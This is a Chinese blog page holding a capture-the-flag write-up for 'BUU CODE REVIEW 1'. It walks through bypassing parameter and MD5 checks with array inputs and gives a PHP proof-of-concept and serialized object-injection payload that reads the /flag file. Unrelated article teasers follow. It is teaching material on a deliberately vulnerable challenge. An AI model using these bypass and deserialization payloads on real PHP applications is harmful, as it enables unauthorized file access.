当前位置: 首页 > news >正文

BUU CODE REVIEW 1

BUU CODE REVIEW 1

考点:PHP变量引用

源码直接给了

image-20230719164057065

<?phphighlight_file(__FILE__);class BUU {public $correct = "";public $input = "";public function __destruct() {try {$this->correct = base64_encode(uniqid());if($this->correct === $this->input) {echo file_get_contents("/flag");}} catch (Exception $e) {}}
}if($_GET['pleaseget'] === '1') {if($_POST['pleasepost'] === '2') {if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {unserialize($_POST['obj']);}}
}

我们最后一步肯定是BUU类中__destruct()构造方法中的语句echo file_get_contents("/flag");


分析代码,我们需要先绕过三个if语句,使得我们能成功反序列化obj变量

绕过第一、第二个if:

?pleaseget=1              //GET
pleasepost=2                //POST

绕过第三个if:

if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52'])

要求我们POST提交的参数md51md52值不相同但是md5编码后弱相等。

我们可以0e碰撞绕过也可以用数组绕过。

md51[]=1&md52[]=2          //POST

成功反序列化之后,我们要满足if($this->correct === $this->input) 判断条件才能给flag。

类中属性correct在判断之前有被赋值:$this->correct = base64_encode(uniqid());

uniqid()函数:获取一个带前缀、基于当前时间微秒数的唯一ID。

所以说类中属性correct每一微秒都在改变,我们无法实际预测其具体的值。

如果要满足$this->correct === $this->input的话,我们只能使用变量引用

变量引用原理类似于C语言中的指针,使两个变量指向同一个地址,那么两个变量值就一定相等了。

POC:

<?php
class BUU {public $correct = "";public $input = "";public function __construct() {$this->input=&$this->correct;     //input的地址就是correct的地址。不管correct怎么变,input都等于correct。}}$a=new BUU();
echo urlencode(serialize($a));?>

payload:

obj=O%3A3%3A%22BUU%22%3A2%3A%7Bs%3A7%3A%22correct%22%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22input%22%3BR%3A2%3B%7D        //POST

image-20230719165657398

相关文章:

BUU CODE REVIEW 1

BUU CODE REVIEW 1 考点&#xff1a;PHP变量引用 源码直接给了 <?phphighlight_file(__FILE__);class BUU {public $correct "";public $input "";public function __destruct() {try {$this->correct base64_encode(uniqid());if($this->c…...

django使用ztree实现树状结构效果,子节点实现动态加载(l懒加载)

一、实现的效果 由于最近项目中需要实现树状结构的效果,考虑到ztree这个组件大家用的比较多,因此打算在django项目中集成ztree来实现树状的效果。最终实现的示例效果如下: 点击父节点,如果有子节点,则从后台动态请求数据,然后显示出子节点的数据。 二、实现思路 …...

认识springboot 之 了解它的日志 -4

前言 本篇介绍springboot的日志&#xff0c;如何认识日志&#xff0c;如何进行日志持久化&#xff0c;通过日志级别判断信息&#xff0c;了解Lombok插件的使用&#xff0c;通过Lombok自带注释更简洁的来完成日志打印&#xff0c;如有错误&#xff0c;请在评论区指正&#xff0…...

关于大规模数据处理的解决方案

大规模数据处理已经成为了现代商业和科学的核心。随着互联网普及和物联网技术的发展&#xff0c;越来越多的数据被收集和存储&#xff0c;这些数据包含了各种各样的信息&#xff0c;例如客户行为、传感器读数、社交媒体活动等等。这些数据的数量和复杂性已经超出了传统数据处理…...

免费快速下载省市区县行政区的Shp数据

摘要&#xff1a;一般非专业的GIS应用通常会用到省市等行政区区划边界空间数据做分析&#xff0c;本文简单介绍了如何在互联网上下载省&#xff0c;市&#xff0c;区县的shp格式空间边界数据&#xff0c;并介绍了一个好用的在线数据转换工具&#xff0c;并且开源。 一、首先&am…...

MAC下配置android-sdk

MAC下配置android-sdk 1、前提2、brew安装3、配置sdk 1、前提 安装好JDK安装brew 2、brew安装 brew install android-sdk brew install android-platform-tools检查是否安装成功 android3、配置sdk brew list android-sdk进入配置文件 sudo vim ~/.zshrc配置 export AND…...

Hive-数据倾斜

在计算各省份的GMV时&#xff0c;有可能会发生数据倾斜&#xff0c;解决办法如下&#xff1a; 分组聚合 预聚合思想 map-side&#xff08;预聚合在map里面&#xff09;skew-groupby&#xff08;多个reduce阶段进行汇总&#xff09;&#xff1a;先对倾斜的key加上随机数&#x…...

Java多线程(三)

目录 一、Thread类基本用法 1.1 Thread常见构造方法 1.2 Thread常见属性 二、多线程常用的创建方式 2.1 继承Thread类 2.2 实现Runnable接口 2.3 继承Thread接口&#xff0c;使用匿名内部类 2.4实现Runnable接口&#xff0c;使用匿名内部类 2.5使用lambda表达式 三、线程的启动…...

Linux操作系统3-项目部署

手动部署 步骤 1.在idea中将文件项目进行打包 2.自定义一个文件目录&#xff0c;上传到Linux 3.使用 java -jar jar包名就可以进行运行 注意,如果需要启动该项目&#xff0c;需要确定所需的端口是否打开 采用这种方式&#xff0c;程序运行的时候会出现霸屏&#xff0c;并且会…...

软件测试面试题——接口自动化测试怎么做?

面试过程中&#xff0c;也问了该问题&#xff0c;以下是自己的回答&#xff1a; 接口自动化测试&#xff0c;之前做过&#xff0c;第一个版本是用jmeter 做的&#xff0c;1 主要是将P0级别的功能接口梳理出来&#xff0c;根据业务流抓包获取相关接口&#xff0c;并在jmeter中跑…...

如何在医疗器械行业运用IPD?

医疗器械是指单独或者组合使用于人体的仪器、设备、器具、材料或其他物品&#xff0c;包括所需要的软件。按安全性可分为低风险器械、中风险器械和高风险器械。其中低风险器械大都属于低值耗材&#xff0c;其中包括绷带、纱布、海绵、消毒液等&#xff1b;中度风险器械类包括体…...

16. Spring Boot 统一功能处理

目录 1. 用户登录权限校验 1.1 最初用户登录验证 1.2 Spring AOP 用户统一登陆验证 1.3 Spring 拦截器 1.3.1 创建自定义拦截器 1.3.2 将自定义拦截器加入系统配置 1.4 练习&#xff1a;登录拦截器 1.5 拦截器实现原理 1.6 统一访问前缀添加 2. 统一异常处理 3. 统…...

PostgreSQL-数据库命令

PostgreSQL-数据库命令 介绍 一个数据库是一个或多个模式的集合,而模式包含表、函数等。因此,完整的逻辑组织结构层次是服务器实例(PostgreSQL Server)、数据库(Database)、模式(Schema)、表(Table),以及某些其他对象(如函数)。一个PostgreSQL服务器实例可以管理…...

面试题:说说JavaScript中内存泄漏的几种情况?垃圾回收机制

内存泄漏 一、是什么&#xff1f;二、垃圾回收机制&#xff1f;2.1、标记清除法2.2、引用计数法 三、常见内存泄露情况 一、是什么&#xff1f; 由于疏忽或错误造成程序未能释放已经不再使用的内存&#xff1b;并非指内存在物理上的消失&#xff0c;而是应用程序分配某段内存后…...

HTML基础介绍1

HTML是什么 1.HTML&#xff08;HyperText Mark-up Language&#xff09;即超文本标签语言&#xff08;可以展示的内容类型很多&#xff09; 2.HTML文本是由HTML标签组成的文本&#xff0c;可以包括文字、图形、动画、声音、表格、连接等 3.HTML的结构包括头部&#xff08;He…...

【腾讯云 Cloud Studio 实战训练营】Redisgo_task 分布式锁实现

文章目录 前言问题场景腾讯云 Cloud Studio Redisgo_task长短类型分布式场景介绍Redisgo_task实现原理SetNx(valueexpire)原子性子协程Done()时间点子协程中的Ticker Redisgo_task唯一外部依赖Redisgo_task Lock结构Redisgo_task架构健壮性设计Redisgo_task可扩展性Redisgo_tas…...

Linux CentOS系统怎么下载软件

Linux CenOS系统想要下载软件可以在Linux内置的应用商店&#xff0c;并通过Yum 包管理器来下载&#xff08;直接使用yum命令下载软件&#xff09; 在Linux系统中&#xff0c;Yum&#xff08;Yellowdog Updater, Modified&#xff09;是用于管理RPM软件包的一个包管理器。 安装…...

SNAT和DNAT原理与应用

iptables的备份和还原 1.写在命令行当中的都是临时配置。 2.把我们的规则配置在 备份&#xff08;导出&#xff09;&#xff1a;iptables-save > /opt/iptables.bak 默认配置文件&#xff1a;/etc/sysconfig/iptables 永久配置&#xff1a;cat /opt/iptables.bak > /etc…...

Java8实战-总结11

Java8实战-总结11 Lambda表达式方法引用管中窥豹如何构建方法引用 构造函数引用 Lambda表达式 方法引用 方法引用让你可以重复使用现有的方法定义&#xff0c;并像Lambda一样传递它们。在一些情况下&#xff0c;比起使用Lambda表达式&#xff0c;它们似乎更易读&#xff0c;感…...

2023爱分析·低代码厂商全景报告|爱分析报告

关键发现 低代码开始向甲方核心场景渗透&#xff0c;呈现两个显著特征&#xff1a;“更深入”、“更垂直”。更深入&#xff0c;即甲方愈发注重低代码在复杂业务场景的应用开发能力&#xff1b;更垂直&#xff0c;即甲方需要使用低代码开发行业垂直应用&#xff0c;因此对行业或…...

比特币钱包密码与助记词恢复工具:从入门到精通

比特币钱包密码与助记词恢复工具&#xff1a;从入门到精通 【免费下载链接】btcrecover An open source Bitcoin wallet password and seed recovery tool designed for the case where you already know most of your password/seed, but need assistance in trying different…...

Ostrakon-VL终端实战:从扫码识别到生成抖音短视频脚本的创意延伸

Ostrakon-VL终端实战&#xff1a;从扫码识别到生成抖音短视频脚本的创意延伸 1. 像素特工终端介绍 想象你是一名零售侦探&#xff0c;手持的不是笨重的扫描枪&#xff0c;而是一个充满复古游戏风格的AI终端。这就是基于Ostrakon-VL-8B模型开发的像素风格交互界面&#xff0c;…...

突破语言壁垒:Unity游戏翻译破局工具如何重构跨文化体验

突破语言壁垒&#xff1a;Unity游戏翻译破局工具如何重构跨文化体验 【免费下载链接】XUnity.AutoTranslator 项目地址: https://gitcode.com/gh_mirrors/xu/XUnity.AutoTranslator 当你满怀期待地启动一款国际热门Unity游戏&#xff0c;却被满屏陌生文字阻挡了探索脚步…...

OLED多级菜单移植与设计实战

1. 低成本嵌入式项目的OLED多级菜单设计 第一次接触OLED多级菜单是在一个智能温控器的DIY项目里。当时为了给设备做个简单的交互界面&#xff0c;我试过各种方案&#xff0c;最后发现0.96寸的OLED屏配上多级菜单是最经济实惠的选择。这种组合特别适合预算有限但又需要基本人机交…...

避坑指南:MoE训练中AllToAll通信的配置与性能调优(以DeepSpeed为例)

MoE训练实战&#xff1a;AllToAll通信性能调优与DeepSpeed配置避坑指南 当你在500张GPU的集群上启动MoE模型训练时&#xff0c;控制台突然刷出"AllToAll timeout"的红色警告——这不是假设场景&#xff0c;而是去年我们在训练千亿参数模型时真实遭遇的噩梦。AllToAll…...

【花雕学编程】Arduino BLDC 之使用互补滤波进行姿态控制的机器人

从专业工程视角来看&#xff0c;基于Arduino、使用互补滤波进行姿态控制的BLDC&#xff08;无刷直流电机&#xff09;机器人&#xff0c;是一个典型的嵌入式实时闭环控制系统。它集成了传感器数据融合、控制算法和电机驱动&#xff0c;广泛应用于对姿态稳定性有要求的场景。 1、…...

别再踩坑了!Jetson Nano/Xavier NX上PyTorch和torchvision版本匹配保姆级指南(含JetPack 5/6)

Jetson设备PyTorch环境配置终极避坑手册&#xff1a;从版本匹配到性能调优 刚拿到Jetson Nano或Xavier NX的开发者们&#xff0c;十个里有九个会在PyTorch环境配置上栽跟头。不是torchvision报错就是CUDA不可用&#xff0c;最崩溃的是好不容易装好了却发现性能还不如树莓派。本…...

像素幻梦效果对比:原生FLUX.1-dev vs 像素幻梦定制版输出质量分析

像素幻梦效果对比&#xff1a;原生FLUX.1-dev vs 像素幻梦定制版输出质量分析 1. 引言 在数字艺术创作领域&#xff0c;像素艺术因其独特的复古美感和现代应用价值而备受关注。Pixel Dream Workshop&#xff08;像素幻梦&#xff09;作为基于FLUX.1-dev模型构建的专业像素艺术…...

Qwen3-8B快速体验报告:部署简单,中文理解能力确实强

Qwen3-8B快速体验报告&#xff1a;部署简单&#xff0c;中文理解能力确实强 1. 开箱即用的AI体验 最近在测试各种开源大模型时&#xff0c;我发现了Qwen3-8B这个宝藏模型。作为Qwen系列的最新成员&#xff0c;这个80亿参数的模型在中文理解和推理能力上表现突出&#xff0c;最…...

LeetCode 热题 100 之 131. 分割回文串 51. N 皇后

131. 分割回文串 51. N 皇后 131. 分割回文串 class Solution {public List<List<String>> partition(String s) {List<List<String>> res new ArrayList<>();List<String> path new ArrayList<>();backtrack(s, 0, path, res);re…...